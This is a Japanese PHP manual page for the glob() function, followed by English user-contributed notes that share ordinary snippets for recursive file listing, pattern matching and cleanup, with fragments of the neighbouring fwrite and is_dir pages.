Thus it will be successful on reading zero bytes but detect and error returned as FALSE.
Chris Blown 19-May-2003 03:12
Don't forget to check fwrite returns for errors! Just because you successfully opened a file for write, doesn't always mean you can write to it.

On some systems this can occur if the filesystem is full, you can still open the file and create the filesystem inode, but the fwrite will fail, resulting in a zero byte file.


パターンにマッチするパス名を探す

  • ≪ fwrite
  • is_dir ≫
  • PHP Manual
  • ファイルシステム 関数
  • パターンにマッチするパス名を探す

glob

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

glob — パターンにマッチするパス名を探す

説明

glob ( string $pattern , int $flags = 0 ) : array|false

glob() 関数は libc の glob() 関数で使われるルールに基づいて pattern にマッチする全てのパス名を検索します。 ルールは、一般のシェルで使われるルールと似ています。

パラメータ

pattern

パターン。チルダの展開やパラメータ置換は行いません。

Special characters:

  • * - ゼロ文字以上の文字にマッチします。
  • ? - 正確に(任意の)一文字にだけマッチします。
  • [...] - グループ化された文字のうち、一文字にマッチします。 はじめの文字が ! だった場合、 グループにないあらゆる文字にマッチします。
  • \ - 次に来る文字をエスケープします。 但し、GLOB_NOESCAPE が使われている場合は除きます。

flags

有効なフラグは次のとおりです。

  • GLOB_MARK - 各ディレクトリにスラッシュ (Windows ではバックスラッシュ) を追加します
  • GLOB_NOSORT - ディレクトリに存在するファイルを返します (ソートはされません)。このフラグを使わない場合は、パス名をアルファベット順にソートします。
  • GLOB_NOCHECK - 検索パターンにマッチするファイルが見つからない場合に、 検索パターン自身を返します
  • GLOB_NOESCAPE - バックスラッシュによるメタ文字のクォートを行いません
  • GLOB_BRACE - {a,b,c} を展開し「a」、「b」あるいは「c」のいずれかにマッチさせます
  • GLOB_ONLYDIR - パターンにマッチするディレクトリのみを返します
  • GLOB_ERR - (ディレクトリが読めないなどの) 読み込みエラー時に停止します。デフォルトではエラーは無視されます。

注意: GLOB_BRACE フラグは、Solaris などの非 GNU システムでは動作しないことがあります。

返り値

マッチするファイル／ディレクトリを含む配列を返します。 マッチするファイルがなかった場合には空の配列、 そして失敗した場合には false を返します。

注意:

システムによっては、何もマッチしなかった場合とエラーが発生した場合を区別できないものもあります。

例

例1 glob() が opendir() と関連する関数群の代替策になるかを示す簡便な方法

<?php
foreach (glob("*.txt") as $filename) {
    echo "$filename size " . filesize($filename) . "\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

funclist.txt size 44686
funcsummary.txt size 267625
quickref.txt size 137820

注意

注意: この関数では、 リモートファイル を 使用することはできません。これは、処理されるファイルがサーバーの ファイルシステムによりアクセスできる必要があるためです。

注意: この関数が使用できないシステムも存在します (例: 昔の Sun OS など)。

参考

  • opendir() - ディレクトリハンドルをオープンする
  • readdir() - ディレクトリハンドルからエントリを読み込む
  • closedir() - ディレクトリハンドルをクローズする
  • fnmatch() - ファイル名がパターンにマッチするか調べる

User Contributed Notes

Anonymous 25-Jan-2021 12:25
Include dotfiles excluding . and .. special dirs with .[!.]*

<?php
$all_files = array_merge(glob('.[!.]*'), glob('*'));
// or
$all_files = glob('{.[!.],}*', GLOB_BRACE);
?>
davewho at nexicom dot net 29-Dec-2020 03:09
Note that if you use braces ie. /*.{gif,jpg,htm} then glob returns
gifs before jpgs before htm files rather than in filename sequence.
vincewansink at outlook dot com 17-Oct-2019 09:05
Note that when the documentation says the files will be returned in "alphabetical" order, you may not get the results you expect if your files are numbered.

For example, files will be returned in the following order:

file.1.txt
file.10.txt
file.2.txt

Not (as you might expect):

file.1.txt
file.2.txt
file.10.txt
simon at paragi dot dk 02-Jun-2016 07:31
This is a simple and versatile function that returns an array tree of files, matching wildcards:

<?php
// List files in tree, matching wildcards * and ?
function tree($path){
  static $match;

  // Find the real directory part of the path, and set the match parameter
  $last=strrpos($path,"/");
  if(!is_dir($path)){
    $match=substr($path,$last);
    while(!is_dir($path=substr($path,0,$last)) && $last!==false)
      $last=strrpos($path,"/",-1);
  }
  if(empty($match)) $match="/*";
  if(!$path=realpath($path)) return;

  // List files
  foreach(glob($path.$match) as $file){
    $list[]=substr($file,strrpos($file,"/")+1);
  }

  // Process sub directories
  foreach(glob("$path/*", GLOB_ONLYDIR) as $dir){
    $list[substr($dir,strrpos($dir,"/",-1)+1)]=tree($dir);
  }

  return @$list;
}
?>
sebastian dot wasser at gmail dot com 23-Apr-2016 11:50
I created a rglob function to support a '/**/' wildcard. You can even set the order to post-order or pre-order traversal.

<?php

function rglob ($pattern, $flags = 0, $traversePostOrder = false) {
    // Keep away the hassles of the rest if we don't use the wildcard anyway
    if (strpos($pattern, '/**/') === false) {
        return glob($pattern, $flags);
    }

    $patternParts = explode('/**/', $pattern);

    // Get sub dirs
    $dirs = glob(array_shift($patternParts) . '/*', GLOB_ONLYDIR | GLOB_NOSORT);

    // Get files for current dir
    $files = glob($pattern, $flags);

    foreach ($dirs as $dir) {
        $subDirContent = rglob($dir . '/**/' . implode('/**/', $patternParts), $flags, $traversePostOrder);

        if (!$traversePostOrder) {
            $files = array_merge($files, $subDirContent);
        } else {
            $files = array_merge($subDirContent, $files);
        }
    }

    return $files;
};

?>
sharshun dot aliaksandr at gmail dot com 04-Nov-2015 02:26
<?php

function glob_recursive($pattern, $flags = 0){
// forked from https://github.com/rodurma/PHP-Functions/
    // blob/master/glob_recursive.php
  $files = glob($pattern, $flags);

  foreach (glob(dirname($pattern).'/*',
      GLOB_ONLYDIR|GLOB_NOSORT) as $dir){
    $files = array_merge($files, glob_recursive
        ($dir.'/'.basename($pattern), $flags));
  }
  return $files;
}
// $a=glob_recursive('c:/test_directory/'."*.*");
// print_r($a);

function dirInfoReGet($s){
    $a=glob_recursive($s."*.*");
    $ar=glob_recursive($s."**/**");
    $arr=array_unique(array_merge($a, $ar));

    foreach ($arr as $v) {
        if (is_dir($v)) {
            $arra[0][]=$v.'/';
        } else {
            $arra[1][]=$v;
        }
    }
    sort($arra);
    return $arra;
}
$a=dirInfoReGet('c:/test_directory/');
print_r($a);

?>

http://i.stack.imgur.com/H7UF3.jpg

Best regards.
Anxiety35 at gmail dot com 01-Dec-2014 09:20
After fiddling with GLOB_BRACE a bunch, I have found the most items that can be included in the braces is about 10 before glob no longer returns any matches.

I have a scenario where there can be a thousand or more files to check for where I can't pattern match and need to check specific names. I was hoping to batch them in large groups to see if it would help performance. However, if I include more than 10 in a GLOB_BRACE the function will return FALSE.
rene dot rathmann at gmx dot de 02-Jan-2014 11:05
You can do a recursive file search with yield.

<?php
function findAllDirs($start) {
    $dirStack=[$start];
    while($dir=array_shift($dirStack)) {
        $ar=glob($dir.'/*',GLOB_ONLYDIR|GLOB_NOSORT);
        if(!$ar) continue;

        $dirStack=array_merge($dirStack,$ar);
        foreach($ar as $DIR)
            yield $DIR;
    }
}

$fname='*.php';
$result=[];
foreach(findAllDirs('/var/www/localhost') as $dir) {
    $match=glob($dir.'/'.$fname,GLOB_NOSORT);
    if(!$match) continue;
    $result=array_merge($result,$match);
}

print_r($result);
?>
soywiz at gmail dot com 26-Apr-2013 10:26
Recursive glob for PHP>=5.5

function globRecursive($path, $find) {
    $dh = opendir($path);
    while (($file = readdir($dh)) !== false) {
        if (substr($file, 0, 1) == '.') continue;
        $rfile = "{$path}/{$file}";
        if (is_dir($rfile)) {
            foreach (globRecursive($rfile, $find) as $ret) {
                yield $ret;
            }
        } else {
            if (fnmatch($find, $file)) yield $rfile;
        }
    }
    closedir($dh);
}
bimal at sanjaal dot com 07-Mar-2013 04:28
To pick one of the file randomly from your directory with full physical path, you can write something like this:

<?php
function one_random_image_file()
{
    $files = glob('../images/*.jpg');
    shuffle($files);
    return realpath($files[0]);
}
$image_to_read = one_random_image_file();
?>
agd243 at gmail dot com 27-Jan-2013 02:45
A simple function that find all files by extension an return it by an array.
<?php
function findFiles($directory, $extensions = array()) {
    function glob_recursive($directory, &$directories = array()) {
        foreach(glob($directory, GLOB_ONLYDIR | GLOB_NOSORT) as $folder) {
            $directories[] = $folder;
            glob_recursive("{$folder}/*", $directories);
        }
    }
    glob_recursive($directory, $directories);
    $files = array ();
    foreach($directories as $directory) {
        foreach($extensions as $extension) {
            foreach(glob("{$directory}/*.{$extension}") as $file) {
                $files[$extension][] = $file;
            }
        }
    }
    return $files;
}
var_dump(findFiles("C:", array (

    "jpg",
    "pdf",
    "png",
    "html"
)));
?>
Gabriel S. Luraschi 30-Oct-2012 06:54
Use this to exclude hidden files on MS Windows.

<?php
exec("dir \"{$path}\" /A:-H /B", $result);
?>
ni dot pineau at gmail dot com 12-Oct-2012 04:08
Note that in case you are using braces with glob you might retrieve duplicated entries for files that matche more than one item :

<?php

$a = glob('/path/*{foo,bar}.dat',GLOB_BRACE);
print_r($a);

?>

Result :
Array
(
    [0] => /path/file_foo.dat
    [1] => /path/file_foobar.dat
    [2] => /path/file_foobar.dat
)
Sam Bryan 26-Apr-2012 04:13
glob is case sensitive, even on Windows systems.

It does support character classes though, so a case insensitive version of
<?php glob('my/dir/*.csv') ?>

could be written as
<?php glob('my/dir/*.[cC][sS][vV]') ?>
Mike 21-Nov-2011 07:48
<?php

if ( ! function_exists('glob_recursive'))
{
    // Does not support flag GLOB_BRACE

    function glob_recursive($pattern, $flags = 0)
    {
        $files = glob($pattern, $flags);

        foreach (glob(dirname($pattern).'/*', GLOB_ONLYDIR|GLOB_NOSORT) as $dir)
        {
            $files = array_merge($files, glob_recursive($dir.'/'.basename($pattern), $flags));
        }

        return $files;
    }
}

?>
mkas at destiny dot lt 05-Oct-2011 12:58
recursive file search

<?php
$path[] = 'starting_place/*';

while(count($path) != 0)
{
    $v = array_shift($path);
    foreach(glob($v) as $item)
    {
        if (is_dir($item))
            $path[] = $item . '/*';
        elseif (is_file($item))
        {
             //do something
        }
    }
}
?>
Ultimater at gmail dot com 20-Mar-2011 11:44
glob() isn't limited to one directory:

<?php
$results=glob("{includes/*.php,core/*.php}",GLOB_BRACE);
echo '<pre>',print_r($results,true),'</pre>';
?>

Just be careful when using GLOB_BRACE regarding spaces around the comma:
{includes/*.php,core/*.php} works as expected, but
{includes/*.php, core/*.php} with a leading space, will only match the former as expected but not the latter
unless you have a directory named " core" on your machine with a leading space.
PHP can create such directories quite easily like so:
mkdir(" core");
david dot schueler at tel-billig dot de 15-Mar-2011 06:32
Don't use glob() if you try to list files in a directory where very much files are stored (>100.000). You get an "Allowed memory size of XYZ bytes exhausted ..." error.
You may try to increase the memory_limit variable in php.ini. Mine has 128MB set and the script will still reach this limit while glob()ing over 500.000 files.

The more stable way is to use readdir() on very large numbers of files:
<?php
// code snippet
if ($handle = opendir($path)) {
    while (false !== ($file = readdir($handle))) {
        // do something with the file
        // note that '.' and '..' is returned even
    }
    closedir($handle);
}
?>
troy at troyonline dot com 28-Feb-2011 09:50
If you have open_basedir set in php.ini to limit which files php can execute, glob(...) will return false when there are no matching files.  If open_basedir is not set, the very same code will return an empty array in the same situation.

This is unfortunate as a seemingly innocuous change causes different functionality that breaks code like:

foreach(glob("*.ext") as $file)
...

See this link if you have any questions as to why this is so:
http://bugs.php.net/bug.php?id=47358
peter dot adrianov at gmail dot com 14-May-2010 04:29
Non-recursive search files, proceeding down directory tree.

<?php
function scandir_through($dir)
{
    $items = glob($dir . '/*');

    for ($i = 0; $i < count($items); $i++) {
        if (is_dir($items[$i])) {
            $add = glob($items[$i] . '/*');
            $items = array_merge($items, $add);
        }
    }

    return $items;
}
?>
BigueNique at yahoo dot ca 08-May-2010 11:45
Here is the function array_prepend() used by my latest post of safe_glob().

<?php
/**
 * Prepends $string to each element of $array
 * If $deep is true, will indeed also apply to sub-arrays
 * @author BigueNique AT yahoo DOT ca
 * @since 080324
 */
function array_prepend($array, $string, $deep=false) {
    if(empty($array)||empty($string)) return $array;
    foreach($array as $key => $element)
        if(is_array($element))
            if($deep)
                $array[$key] = array_prepend($element,$string,$deep);
            else
                trigger_error('array_prepend: array element',E_USER_WARNING);
        else
            $array[$key] = $string.$element;
    return $array;

}
?>
wang yun 22-Sep-2009 06:00
A function to quickly remove a directory (works in seconds for a hundred thousand files)

<?php
/**
 * Remove the directory and its content (all files and subdirectories).
 * @param string $dir the directory name
 */
function rmrf($dir) {
    foreach (glob($dir) as $file) {
        if (is_dir($file)) {
            rmrf("$file/*");
            rmdir($file);
        } else {
            unlink($file);
        }
    }
}
?>
uramihsayibok, gmail, com 04-Aug-2009 03:38
Those of you with PHP 5 don't have to come up with these wild functions to scan a directory recursively: the SPL can do it.

<?php

$dir_iterator = new RecursiveDirectoryIterator("/path");
$iterator = new RecursiveIteratorIterator($dir_iterator, RecursiveIteratorIterator::SELF_FIRST);
// could use CHILD_FIRST if you so wish

foreach ($iterator as $file) {
    echo $file, "\n";
}

?>

Not to mention the fact that $file will be an SplFileInfo class, so you can do powerful stuff really easily:

<?php

$size = 0;
foreach ($iterator as $file) {
    if ($file->isFile()) {
        echo substr($file->getPathname(), 27) . ": " . $file->getSize() . " B; modified " . date("Y-m-d", $file->getMTime()) . "\n";
        $size += $file->getSize();
    }
}

echo "\nTotal file size: ", $size, " bytes\n";

?>

\Luna\luna.msstyles: 4190352 B; modified 2008-04-13
\Luna\Shell\Homestead\shellstyle.dll: 362496 B; modified 2006-02-28
\Luna\Shell\Metallic\shellstyle.dll: 362496 B; modified 2006-02-28
\Luna\Shell\NormalColor\shellstyle.dll: 361472 B; modified 2006-02-28
\Luna.theme: 1222 B; modified 2006-02-28
\Windows Classic.theme: 3025 B; modified 2006-02-28

Total file size: 5281063 bytes
endiku 29-Jul-2009 08:47
For those who need to recursively search a directory tree and cannot or wish not to call a function within itself here is another suggestion.

I tried the previously suggested listdirs_safe() and it didn't seem to find all subfolders in a directory tree.

There are two variations on the same theme.

Single Array.
<?php
$dir ='/dir';
while($dirs = glob($dir . '/*', GLOB_ONLYDIR)) {
  $dir .= '/*';
  if(!$d) {
     $d=$dirs;
   } else {
      $d=array_merge($d,$dirs);
   }
}
?>

Multiple arrays.
<?php
$n=0;
$dir ='/dir';
while($dirs = glob($dir . '/*', GLOB_ONLYDIR)) {
  $dir .= '/*';
  if(!$d) {
     $d=$dirs;
   } else {
     $d[$n]=$dirs;
   }
  $n++;
}
?>

This will result in the glob looping via "dir/*/*/*/*.." until it is no longer finding a directory structure.
nuntius 06-Jul-2009 10:10
First off, it's nice to see all of the different takes on this. Thanks for all of the great examples.

Fascinated by the foreach usage I was curious how it might work with a for loop. I found that glob was well suited for this, especially compared to opendir.  The for loop is always efficient when you want to protect against a potential endless loop.

$dir=$_SERVER['DOCUMENT_ROOT']."/test/directory_listing/test";
    echo $dir;
    $filesArray=glob($dir."/*.*");

    $line.="<pre>";
    $line.=print_r($filesArray, true);
    $line.="</pre>";
    $line.="<hr>";

    for($i=0;$i<count($filesArray);$i++) {
        $line.=key($filesArray)." - ";
        $line.=$filesArray[$i]."<br/>";
         next($filesArray);
    }

    echo $line;

Note that I pulled the glob array keys if you should need them.

Also you can tweak it for searches with something like this... (case sensitive)

$search_names="Somedocname";
$filesArray=glob($dir."/".$search_names."*.*");

Enjoy!
sven at NOSPAM dot sven dot globalunix dot org 11-Jun-2009 09:22
If you want to use wildcard expressions (like they are used by glob() ) to search on strings, you can use this function:

<?php
function match_wildcard( $wildcard_pattern, $haystack ) {
   $regex = str_replace(
     array("\*", "\?"), // wildcard chars
     array('.*','.'),   // regexp chars
     preg_quote($wildcard_pattern)
   );

   return preg_match('/^'.$regex.'$/is', $haystack);
}

$test = "foobar and blob\netc.";
var_dump(
    match_wildcard('foo*', $test),      // TRUE
    match_wildcard('bar*', $test),      // FALSE
    match_wildcard('*bar*', $test),     // TRUE
    match_wildcard('**blob**', $test),  // TRUE
    match_wildcard('*a?d*', $test),     // TRUE
    match_wildcard('*etc**', $test)     // TRUE
);
?>
r dot hartung at roberthartung dot de 04-May-2009 12:34
You can use multiple asterisks with the glob() - function.

Example:

<?php
  $paths = glob('my/*/dir/*.php');
?>

$paths will contains paths as following examples:

- my/1/dir/xyz.php
- my/bar/dir/bar.php
- my/bar/dir/foo.php
crayonviolent at phpfreaks dot com 16-Jan-2009 11:50
Since I feel this is rather vague and non-helpful, I thought I'd make a post detailing the mechanics of the glob regex.

glob uses two special symbols that act like sort of a blend between a meta-character and a quantifier.  These two characters are the * and ?

The ? matches 1 of any character except a /
The * matches 0 or more of any character except a /

If it helps, think of the * as the pcre equivalent of .* and ? as the pcre equivalent of the dot (.)

Note: * and ? function independently from the previous character. For instance, if you do glob("a*.php") on the following list of files, all of the files starting with an 'a' will be returned, but * itself would match:

a.php // * matches nothing
aa.php // * matches the second 'a'
ab.php // * matches 'b'
abc.php // * matches 'bc'
b.php // * matches nothing, because the starting 'a' fails
bc.php // * matches nothing, because the starting 'a' fails
bcd.php // * matches nothing, because the starting 'a' fails

It does not match just a.php and aa.php as a 'normal' regex would, because it matches 0 or more of any character, not the character/class/group before it.

Executing glob("a?.php") on the same list of files will only return aa.php and ab.php because as mentioned, the ? is the equivalent of pcre's dot, and is NOT the same as pcre's ?, which would match 0 or 1 of the previous character.

glob's regex also supports character classes and negative character classes, using the syntax [] and [^]. It will match any one character inside [] or match any one character that is not in [^].

With the same list above, executing

glob("[ab]*.php) will return (all of them):
a.php  // [ab] matches 'a', * matches nothing
aa.php // [ab] matches 'a', * matches 2nd 'a'
ab.php // [ab] matches 'a', * matches 'b'
abc.php // [ab] matches 'a', * matches 'bc'
b.php // [ab] matches 'b', * matches nothing
bc.php // [ab] matches 'b', * matches 'c'
bcd.php // [ab] matches 'b', * matches 'cd'

glob("[ab].php") will return a.php and b.php

glob("[^a]*.php") will return:
b.php // [^a] matches 'b', * matches nothing
bc.php // [^a] matches 'b', * matches 'c'
bcd.php // [^a] matches 'b', * matches 'cd'

glob("[^ab]*.php") will return nothing because the character class will fail to match on the first character.

You can also use ranges of characters inside the character class by having a starting and ending character with a hyphen in between.  For example, [a-z] will match any letter between a and z, [0-9] will match any (one) number, etc..

glob also supports limited alternation with {n1, n2, etc..}.  You have to specify GLOB_BRACE as the 2nd argument for glob in order for it to work.  So for example, if you executed glob("{a,b,c}.php", GLOB_BRACE) on the following list of files:

a.php
b.php
c.php

all 3 of them would return.  Note: using alternation with single characters like that is the same thing as just doing glob("[abc].php").  A more interesting example would be glob("te{xt,nse}.php", GLOB_BRACE) on:

tent.php
text.php
test.php
tense.php

text.php and tense.php would be returned from that glob.

glob's regex does not offer any kind of quantification of a specified character or character class or alternation.  For instance, if you have the following files:

a.php
aa.php
aaa.php
ab.php
abc.php
b.php
bc.php

with pcre regex you can do ~^a+\.php$~ to return

a.php
aa.php
aaa.php

This is not possible with glob.  If you are trying to do something like this, you can first narrow it down with glob, and then get exact matches with a full flavored regex engine.  For example, if you wanted all of the php files in the previous list that only have one or more 'a' in it, you can do this:

<?php
   $list = glob("a*.php");
   foreach ($list as $l) {
      if (preg_match("~^a+\.php$~",$file))
         $files[] = $l;
   }
?>

glob also does not support lookbehinds, lookaheads, atomic groupings, capturing, or any of the 'higher level' regex functions.

glob does not support 'shortkey' meta-characters like \w or \d.
carlos dot lage at nospam at foo dot bar at gmail dot com 17-Oct-2008 06:18
I lost hours looking for the solution for this problem.
glob() wasn't eating up my directory names (stuff like "foobar[]"), and I searched online for some hours, I tried preg_quote to no avail.

I finally found the proper way to escape stuff in glob() in an obscure Python mailing list:

<?php
preg_replace('/(\*|\?|\[)/', '[$1]', $dir_path);
?>

If you want to add a directory path before your pattern, you should do it like this:

<?php
glob(preg_replace('/(\*|\?|\[)/', '[$1]', $dir_path).'*.txt');
?>
preg_quote WILL NOT work in all cases (if any).
heavyraptor at gmail dot com 19-May-2008 04:56
glob() (array_sum() and array_map() in fact too) can be very useful if you want to calculate the sum of all the files' sizes located in a directory:

<?php
$bytes = array_sum(array_map('filesize',glob('*')));
?>

Unfortunately there's no way to do this recursively, using glob() (as far as I know).
pope at q dot com 23-Apr-2008 06:08
alan at ridersite dot org 18-Mar-2007 03:26 -- Stated '*.*' is the same as '*' -- This is not true as * alone will return directories too and *.* will only return files with an extension such as .pdf or .doc or .php.
alan at synergymx dot com 15-Apr-2008 12:08
Here is a function that returns specific files in an array, with all of the details. Includes some basic garbage checking.

Variables

$source_folder // the location of your files
$ext // file extension you want to limit to (i.e.: *.txt)
$sec // if you only want files that are at least so old.

The function

function glob_files($source_folder, $ext, $sec, $limit){
    if( !is_dir( $source_folder ) ) {
        die ( "Invalid directory.\n\n" );
    }

    $FILES = glob($source_folder."\*.".$ext);
    $set_limit    = 0;

    foreach($FILES as $key => $file) {

        if( $set_limit == $limit )    break;

        if( filemtime( $file ) > $sec ){

            $FILE_LIST[$key]['path']    = substr( $file, 0, ( strrpos( $file, "\\" ) +1 ) );
            $FILE_LIST[$key]['name']    = substr( $file, ( strrpos( $file, "\\" ) +1 ) );
            $FILE_LIST[$key]['size']    = filesize( $file );
            $FILE_LIST[$key]['date']    = date('Y-m-d G:i:s', filemtime( $file ) );
            $set_limit++;

        }

    }
    if(!empty($FILE_LIST)){
        return $FILE_LIST;
    } else {
        die( "No files found!\n\n" );
    }
}

So....

$source_folder = "c:\temp\my_videos";
$ext = "flv"; // flash video files
$sec = "7200"; // files older than 2 hours
$limit = 2;

print_r(glob_files($source_folder, $ext, $sec, $limit));

Would return:

Array
(
    [0] => Array
        (
            [path] => c:\temp\my_videos\
            [name] => fluffy_bunnies.flv
            [size] => 21160480
            [date] => 2007-10-30 16:48:05
        )

    [1] => Array
        (
            [path] => c:\temp\my_videos\
            [name] => synergymx.com.flv
            [size] => 14522744
            [date] => 2007-10-25 15:34:45
        )
eric at muyser dot com 11-Apr-2008 08:31
As a follow up to recursively determining all paths (by viajy at yoyo dot org) and opendir being faster than glob (by Sam Yong - hellclanner at live [dot] com).

The list all dirs code didn't seem to work, at least on my server (provided by parazuce [at] gmail [dot] com).

I needed a function to create an unlimited multidimensional array, with the names of the folders/files intact (no realpath's, although that is easily possible). This is so I can simply loop through the array, create an expandable link on the folder name, with all the files inside it.

This is the correct way to recurse I believe (no static, return small arrays to build up the multidimensional array), and includes a check for files/folders beginning with dots.

// may need modifications

function list_files($path)
{
    $files = array();

    if(is_dir($path))
    {
        if($handle = opendir($path))
        {
            while(($name = readdir($handle)) !== false)
            {
                if(!preg_match("#^\.#", $name))
                if(is_dir($path . "/" . $name))
                {
                    $files[$name] = list_files($path . "/" . $name);
                }
                else
                {
                    $files[] = $name;
                }
            }

            closedir($handle);
        }
    }

    return $files;
}

print_r(list_files("/path/to/folder"));

// example usage

function list_html($list)
{
    $html = "";

    foreach($list as $folder => $file)
    {
        if(is_array($list[$folder]))
        {
            $html .= "> (folder) " . $folder . "<br>";
            $html .= list_html($list[$folder]);
        }
        else
        {
            $html .= " (file) " . $file . "<br>";
        }
    }

    return $html;
}

echo list_html(list_files("/path/to/folder"));
parazuce [at] gmail [dot] com 30-Mar-2008 05:47
As a response to a post by viajy at yoyo dot org on 10-Feb-2007 04:50, he posted the following code:
<?php
function listdirs($dir) {
    static $alldirs = array();
    $dirs = glob($dir . '/*', GLOB_ONLYDIR);
    if (count($dirs) > 0) {
        foreach ($dirs as $d) $alldirs[] = $d;
    }
    foreach ($dirs as $dir) listdirs($dir);
    return $alldirs;
}
?>

It is not best practice to use recursive functions like that, so I wrote a safe (non-recursive) function below:

<?php
function listdirs_safe($start)
{
    $dir  = $start;
    $dirs = array();
    $next = 0;

    while (true)
    {
        $_dirs = glob($dir.'/*', GLOB_ONLYDIR);

        if (count($_dirs) > 0)
        {
            foreach ($_dirs as $key => $_dir)
                $dirs[] = $_dir;
        }
        else
            break;

        $dir = $dirs[$next++];
    }

    return $dirs;
}
?>

Example:

print_r(listdirs_safe('*'));

Output:
Array
(
    [0] => Dummy folder/Dummy folder 2
    [1] => Dummy folder/Dummy folder 2/Dummy Folder 3
    [2] => Dummy folder/Dummy folder 2/Dummy Folder 3/4
    [3] => Dummy folder/Dummy folder 2/Dummy Folder 3/Dummy folder 4
    [4] => Dummy folder/Dummy folder 2/Dummy Folder 3/4/5
)
nataxia at gmail dot com 07-May-2007 04:05
Something I used to sort dir & subdir into array (multidimensional) reflecting dir structure.

    function getRecursiveFolderList($curDir,$currentA=false)
      {
        $dirs = glob($curDir . '/*', GLOB_ONLYDIR);

        $cur = 0;
        foreach($dirs as $dir)
          {
            $currentA[$cur]['path'] = $dir;
            $currentA[$cur] = $this->getRecursiveFolderList($dir,$currentA[$cur]);

            ++$cur;
          }

        return $currentA;
      }
alan at ridersite dot org 18-Mar-2007 11:26
A couple of notes:
glob() handles symbolic filesystem links and resolves references to './', '../'  nicely and handles an extra '/' character , at least on X-systems. e.g., glob("../*") will do next higher dir.

This is good to use so warnings or errors show as "../foo" and not your system's full path.

Several of the examples use a notation "*.*" when just plain "*" does the same thing.  The "*.*" notation is misleading as it implies foo.ext will not be found with "*" because the "." is not present.

Watch the flags must not be strings. They are defined constants. Thus,
glob("../*", GLOB_ONLYDIR)  works;
glob("../*", "GLOB_ONLYDIR")  does not.
viajy at yoyo dot org 10-Feb-2007 04:50
this is a recursive function i wrote to return an array of all subdirectories of a dir

function listdirs($dir) {
    static $alldirs = array();
    $dirs = glob($dir . '/*', GLOB_ONLYDIR);
    if (count($dirs) > 0) {
        foreach ($dirs as $d) $alldirs[] = $d;
    }
    foreach ($dirs as $dir) listdirs($dir);
    return $alldirs;
}

example:
print_r(listdirs('/some/path'));
lesion at autistici dot org 04-Dec-2006 08:14
Maybe all of you still know this, but it seems that if the directory contains some unresolved symlink, glob() simply ignore those files.
torch at torchsdomain dot com 22-Nov-2006 12:25
Here is simple function that will find and remove all files (except "." ones) that match the expression ($match, "*" as wildcard) under starting directory ($path) and all other directories under it.

function rfr($path,$match){
   static $deld = 0, $dsize = 0;
   $dirs = glob($path."*");
   $files = glob($path.$match);
   foreach($files as $file){
      if(is_file($file)){
         $dsize += filesize($file);
         unlink($file);
         $deld++;
      }
   }
   foreach($dirs as $dir){
      if(is_dir($dir)){
         $dir = basename($dir) . "/";
         rfr($path.$dir,$match);
      }
   }
   return "$deld files deleted with a total size of $dsize bytes";
}
guilleva at gmail dot com 19-Oct-2006 08:54
In some systems (AIX for example) GLOB_BRACE isn't defined and you get the error:
glob() expects parameter 2 to be long, string given in /XX/XX.php

<?

foreach (glob("{*.pdf,*.PDF}",GLOB_BRACE ) as $filename) {
      echo "$filename \n";
}

?>

The method may help you in this case.

<?

foreach (array_merge(glob("*.pdf"),glob("*.PDF")) as $filename) {
      echo "$filename \n";
}

?>
joseph dot morphy at gmail dot com 16-Aug-2006 11:01
<?php
$html_array = glob("*.html");

function sort_by_mtime($file1,$file2) {
    $time1 = filemtime($file1);
    $time2 = filemtime($file2);
    if ($time1 == $time2) {
        return 0;
    }
    return ($time1 < $time2) ? 1 : -1;
    }

usort($html_array,"sort_by_mtime");
//$html_array is now ordered by the time it was last modified
?>
redcube at gmx dot de 14-Aug-2006 02:22
Please note that glob('*') ignores all 'hidden' files by default. This means it does not return files that start with a dot (e.g. ".file").
If you want to match those files too, you can use "{,.}*" as the pattern with the GLOB_BRACE flag.

<?php
// Search for all files that match .* or *
$files = glob('{,.}*', GLOB_BRACE);
?>

Note: This also returns the directory special entries . and ..
info at urbits dot com 06-Jan-2006 04:26
I have been working towards a CMS-type design that is both modular and quite flat. For example, included files are all one level below the installation folder.

glob() just help me get rid of a lot of opendir() hassle. I wasn't sure if the double asterix would work - but it's fine:

foreach (glob(SERVER_PATH."/*/includes/*.php") as $inc) {
   require($inc);
}
DMan 28-Aug-2005 12:59
Whilst on Windows, a path starting with a slash resolves OK for most file functions - but NOT glob.
If the server is LAUNCHED (or chdir()ed) to W:, then
file_exists("/temp/test.txt")
returns true for the file "W:/temp/test.txt".
But glob("/temp/*.txt") FAILS to find it!

A solution (if you want to avoid getting drive letters into your code) is to chdir() first, then just look for the file.
<?php
$glob="/temp/*.txt";
chdir(dirname($glob));
// getcwd() is now actually "W:\temp" or whatever

foreach (glob(basename($glob)) as $filename) {
   $filepath = dirname($glob)."/".$filename; // must re-attach full path
   echo "$filepath size " . filesize($filepath) . "\n";
}
?>

Note also, glob() IS case sensitive although most other file funcs on Windows are not.
NOSPAM sketch at infinite dot net dot au 14-Mar-2005 05:05
in the example below, i found i got an error if the directory was empty.

<?php
foreach (glob("*.txt") as $filename) {
   echo "$filename size " . filesize($filename) . "\n";
}
?>

I think its because glob()'ing an empty directory returns false, and so calling foreach (false as $value) will obviously break.

to fix this, i did the following:
<?php
$files = glob("*.txt) or array(); // give it an empty array if the directory is empty or glob fails otherwise
   echo "$filename size " . filesize($filename) . "\n";
}
?>

Hope this helps someone
23-Jan-2005 01:54
The example on this page will generate a warning if the glob function does not find any filenames that match the pattern.

The glob function result will only be an array if it finds some files and the foreach statement requires its argument to be an array.

By checking for the possibility that the result of the glob function may not be an array you can eliminate the warning.

Here's a better example:

<?php
$matches = glob("*.txt");
if ( is_array ( $matches ) ) {
   foreach ( $matches as $filename) {
      echo "$filename size " . filesize($filename) . "\n";
   }
}
?>


ファイルがディレクトリかどうかを調べる

  • ≪ glob
  • is_executable ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルがディレクトリかどうかを調べる

is_dir

(PHP 4, PHP 5, PHP 7, PHP 8)

is_dir — ファイルがディレクトリかどうかを調べる

説明

is_dir ( string $filename ) : bool

指定したファイルがディレクトリかどうかを調べます。

パラメータ

filename

ファイルへのパス。filename が相対パスの場合は、現在の作業ディレクトリからの相対パスとして処理します。 filename がシンボリックリンクあるいはハードリンクの場合は、 リンク先を解決して処理します。 open_basedir を有効にすると、 さらに制限がかかるでしょう。

返り値

ファイルが存在して、かつそれがディレクトリであれば true、それ以外の場合は false を返します。

例

例1 is_dir() の例

<?php
var_dump(is_dir('a_file.txt'));
var_dump(is_dir('bogus_dir/abc'));

var_dump(is_dir('..')); //一つ上のディレクトリ
